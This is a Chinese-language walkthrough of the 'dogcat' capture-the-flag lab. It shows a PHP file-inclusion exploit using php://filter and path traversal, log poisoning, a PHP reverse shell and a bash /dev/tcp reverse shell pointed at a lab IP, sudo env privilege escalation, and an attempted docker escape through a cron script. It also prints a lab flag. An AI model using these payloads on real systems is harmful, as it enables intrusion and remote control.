信息收集
1.nmap
扫描端口开放情况:nmap 10.10.252.3
,观察到22、80
端口开放。
2.dirsearch
扫描目录文件:python3 dirsearch.py -u http://10.10.252.3
,得到flag.php
。
漏洞利用
1.进去访问index.php
页面,点击dog发现view
参数:
2.根据页面报错信息可以发现用了include
函数进行文件包含,而且参数值必须包含dog或cat
,利用目录穿越配合php://filter
读取页面base64加密的源码:
3.先读取flag.php
得到第一个flag:THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
。
4.根据读取到的源码进行代码审计:
//index.php
<!DOCTYPE HTML>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css">
</head>
<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
</div>
</body>
</html>
5.能看到可以控制$ext
参数文件后缀,$view
控制文件名。传递参数尝试读取/etc/passwd
:?view=php://filter/convert.base64-encode/resource=/var/www/html/dogs/../../../../../../etc/passwd&ext=
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
6.信息收集可以发现22端口是开放的,那么就尝试读取/etc/shadow
的密码,读取失败应该是权限不足。那么就需要尝试用文件读取漏洞来getshell
,原本想用php://input
来读取文件数据流的,但是由于必须包含dog
或cat
,那么这条路就行不通了。尝试读取启动命令:?view=php://filter/convert.base64-encode/resource=/var/www/html/dogs/../../../../../../proc/self/cmdline&ext=
7.解密发现为Apache2
容器,尝试使用文件包含来getshell,利用user-agent
写日志shell。由于这里我爆破了目录,导致数据很多,于是重新开一下容器。
8.各类语言反弹shell可参考这篇文章:https://blog.youkuaiyun.com/qq_41672971/article/details/128452909,执行php反弹shell命令:php -r '$sock=fsockopen("10.18.20.183",2333);exec("/bin/bash -i <&3 >&3 2>&3");'
,为了避免报错,最好进行url编码一下。
9.利用find / -name flag*
目录找到第二个flag,在/var/www
目录下:
权限提升
1.需要提升到root
权限获取剩下的flag,执行命令sudo -l
,发现env
命令没有密码。
2.这里直接使用env
提权即可:sudo env /bin/sh
3.然后再/root
目录下找到flag3.txt
,直接读取即可:
docker逃逸
1.还有最后一个flag,根据题目提示,接下来的就是容器逃逸了。这个属实不会,找个文章学习一下。文章链接:https://xz.aliyun.com/t/12495#toc-1。
2.大概就是当我们docker容器内拥有宿主机文件读写权限,或者主机挂载文件,可以通过写ssh密钥、cron计划任务反弹shell等方式来达到逃逸。首先判断一下是否为docker容器:ls -all
,发现.dockerenv
文件。
3.那就先来寻找是否有与宿主机关联的文件,在opt/backups
目录下发现一个备份脚本backup.sh
,似乎主机在通过cron来定时备份它:
4.那我们就能将反弹shell语句写入该backup.sh
脚本中,这样主机在计划任务备份时,就能执行该命令反弹shell
了。执行echo "bash -i >& /dev/tcp/10.18.20.183/6666 0&>1" >>backup.sh
,主机执行nc -lvnp 6666
。
5.这里出现问题了,可以发现命令执行了,但是shell却连接不上,连着换了几个端口也是一样的,所以这步就跳过了。